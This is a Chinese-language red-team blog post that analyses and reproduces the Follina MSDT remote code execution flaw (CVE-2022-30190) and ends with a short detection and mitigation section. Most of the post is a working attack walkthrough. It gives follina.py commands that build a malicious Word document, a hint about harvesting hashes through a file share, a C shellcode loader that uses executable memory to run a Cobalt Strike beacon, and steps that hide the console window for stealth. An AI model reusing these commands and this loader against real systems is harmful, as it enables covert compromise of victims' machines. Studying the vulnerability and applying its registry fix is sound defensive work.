Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复
前言
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve编号为CVE-2022-30190
,其能够在非管理员权限、禁用宏且在windows defender开启的情况下绕过防护,达到上线的效果。
当从Word等应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,攻击者通过制作恶意的Office文档,诱导用户在受影响的系统上打开恶意文档后,在宏被禁用的情况下,仍可通过 ms-msdt
URI执行任意PowerShell代码,当恶意文件保存为RTF格式时,无需受害者打开文件,即可通过资源管理器中的预览窗格在目标系统上执行任意代码。
微软官方通报该漏洞后,红队蓝军团队第一时间对其进行分析复现。
适用版本
在这里笔者只测试了如下版本,对于Office的 Insider
和 Current
和版本无法进行利用
Microsoft Office LTSC 专业增强版 2021
Office 2013
Office 2016
环境搭建
这里笔者使用Office Tool Plus
进行office的安装(记得打一下广告费),官网如下
https://otp.landian.vip/zh-cn/
![](https://filescdn.proginn.com/91d3bd735aa1f5d16e5bc8517c9c8e33/873fd955f68cefd7a20c7eb5ea1b5f84.webp)
github链接如下
https://github.com/YerongAI/Office-Tool/releases/tag/v8.3.10.7
这里我安装Microsoft Office LTSC 专业增强版 2021
版本
![](https://filescdn.proginn.com/8ef857e561f677c922674adadc60a38f/fe976f0ad59a0433869249d425aa42ea.webp)
笔者下载的版本为2108
![](https://filescdn.proginn.com/7f0798487b4a262e790fbdd578a616ac/d5ef4a1e1cc24e688c5c03b7313b8438.webp)
漏洞复现
弹计算器
我们找到poc,链接如下
https://github.com/chvancooten/follina.py
我们可以看到作者给出了以下几种用法
![](https://filescdn.proginn.com/6bc41d8bff4fdd32af07054731cca1c3/4d7e5dc4ff1f618addcfd6a005de2c2a.webp)
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
这里我们首先使用最后一种,弹一下计算器,使用如下payload生成一下
python follina.py -m binary -b \windows\system32\calc.exe -H 0.0.0.0 -P 8080
![](https://filescdn.proginn.com/87d66b00d1b21d281d612978ff290396/2e96dbd7c0a8c4e8d7d5c02f93d3e61d.webp)
然后这里直接点击clickme.docx
即可
![](https://filescdn.proginn.com/6bc502307fcb50ec76e00c0a1d1b940b/d8b741cf138895fc781beac51880afc5.webp)
效果如下,这里会弹出一个程序兼容性疑难解答,这里不用管
![](https://filescdn.proginn.com/626fa96c592a0b886785fd54addb62f5/040e816e21cb6bbc4726f434d83eb9f9.webp)
上线cs
我们首先尝试直接使用exe上线,首先cs生成一个不经过任何处理的马
![](https://filescdn.proginn.com/92254d8e6d23dfdec2c92810b3124783/e90d7e2e0eac0ec9eaebfbd4cfd6064e.webp)
这里使用之前的payload进行尝试,把文件放到windows\system32
下
python follina.py -m binary -b \windows\system32\artifact.exe -H 0.0.0.0 -P 8080
![](https://filescdn.proginn.com/8c3d25f20dd478c15db39a2ed9ea3fdf/523f0c870403d33b8ef1bbee788b4233.webp)
![](https://filescdn.proginn.com/11e38ca1a6b4351219f08356171cd494/1e4c88e54033120af9b75e8532dad05e.webp)
还是点击clickme.docx
,但是没有上线
![](https://filescdn.proginn.com/24bd3ce1eb0675d0d80d0110f3185302/0dbd87d7e2ac58187f1410158d5f911e.webp)
但是这里没有上线,这里笔者进行问题的排查,换一个也在system32
下的mmc.exe
,这里是可以成功打开的
![](https://filescdn.proginn.com/8c57acb5056e4f9442018772f6b23cde/28dc40e8e77f4e63d46cc5089de454bf.webp)
那么这个payload肯定是没有问题的,那么问题就出在我们上线cs的exe上,这里笔者尝试使用x86的payload、使用powershell加载都以失败告终,最后找到了解决方法,使用cs生成的shellcode自己通过VirtualAlloc
申请内存并编译即可上线
![](https://filescdn.proginn.com/787c56fa9b961a50a3a24ce4a68d28c1/595240f3ca50361bcb419028851fa1eb.webp)
![](https://filescdn.proginn.com/929ad039edf2ff0eeac823ff8d73ef8b/cd3b2867bf317ec3a62c37acd4503f74.webp)
然后编写代码实现将shellcode加载到内存空间,这里就用最简单的VirtualAlloc
申请空间然后用指针指向申请的空间,这里shellcode加解密去绕AV师傅们可自行拓展,实现代码如下(shellcode填充到buf[]
数组即可)
#include
#include
/* length: 833 bytes */
unsigned char buf[] = "";
void shellcode()
{
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (p == NULL)
printf("VirtualAlloc error : %d\n", GetLastError());
else
printf("VirtualAlloc successfully , address : %x\n", p);
if (!memcpy(p, buf, sizeof(buf)))
printf("Write shellcode failed\n");
else
printf("Write shellcode successfully\n");
((void(*)())p)();
}
int main(int argc, char** argv)
{
shellcode();
getchar();
return 0;
}
编译生成MyVirtualAlloc.exe
![](https://filescdn.proginn.com/f7a40f9b70f58ef1cb029f3975d215a1/150d50ba7e09e2628ac8fe432a5a7426.webp)
然后使用exp进行攻击,这里笔者测试了使用远程加载还是不能上线
python follina.py -m binary -b F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe -H 0.0.0.0 -P 8080
![](https://filescdn.proginn.com/c0d4f292f7b66008be4ce5dde319bbd3/4ea574e7de730c3e8cbb6b853224ab67.webp)
![](https://filescdn.proginn.com/b2119c57c1e6bf1e911bcb28a598416f/24d9501fc8bd61d5c0b90d3b1d7ae6d1.webp)
使用-c
命令直接启动exe上线成功
python follina.py -m command -c "Start-Process F:\C++\MyVirtualAlloc\x64\Release\MyVirtualAlloc.exe"
![](https://filescdn.proginn.com/71d5f00ab11e11a8b4e92b93261dea6f/b71566f9e6a6204597f637b4cb7258ca.webp)
![](https://filescdn.proginn.com/78400a4fa5ce0b4b7a7414d2037389b5/b06c3b636985b124749842fce55467be.webp)
这里为了更加隐蔽直接去掉黑框
![](https://filescdn.proginn.com/b76429bb44d731d19ddca272967ea75d/c1f7cf03613b60e8355b189252e08296.webp)
改变入口点为mainCRTStartup
![](https://filescdn.proginn.com/5706cbf69a5b24ad909f5380e7f4768c/455f72a86c3698064c2210261658aa7e.webp)
点击clickme.docx
上线成功
![](https://filescdn.proginn.com/f24701de560a68cb690f84c6638b43ea/12f37104178b345d1fae1556ee4bf65b.webp)
利用排查
若利用过漏洞则在以下路径会留有注册表
HKEY_USERS\$USER_SID\SOFTWARE\Microsoft\Office\$OFFICE_VERSION\Common\Internet\Server Cache
![](https://filescdn.proginn.com/bc587a4afeddf0c85b96fb48dd9d10db/448365873b53263b02e4d7bd261c2ed3.webp)
修复
禁用MSDT URL
协议
1、以管理员身份运行命令提示符
2、备份注册表项后,执行命令:reg export HKEY_CLASSES_ROOT\ms-msdt filename
3、再执行命令:reg delete HKEY_CLASSES_ROOT\ms-msdt /f
若需要撤销禁用则用管理员身份打开cmd执行:reg import filename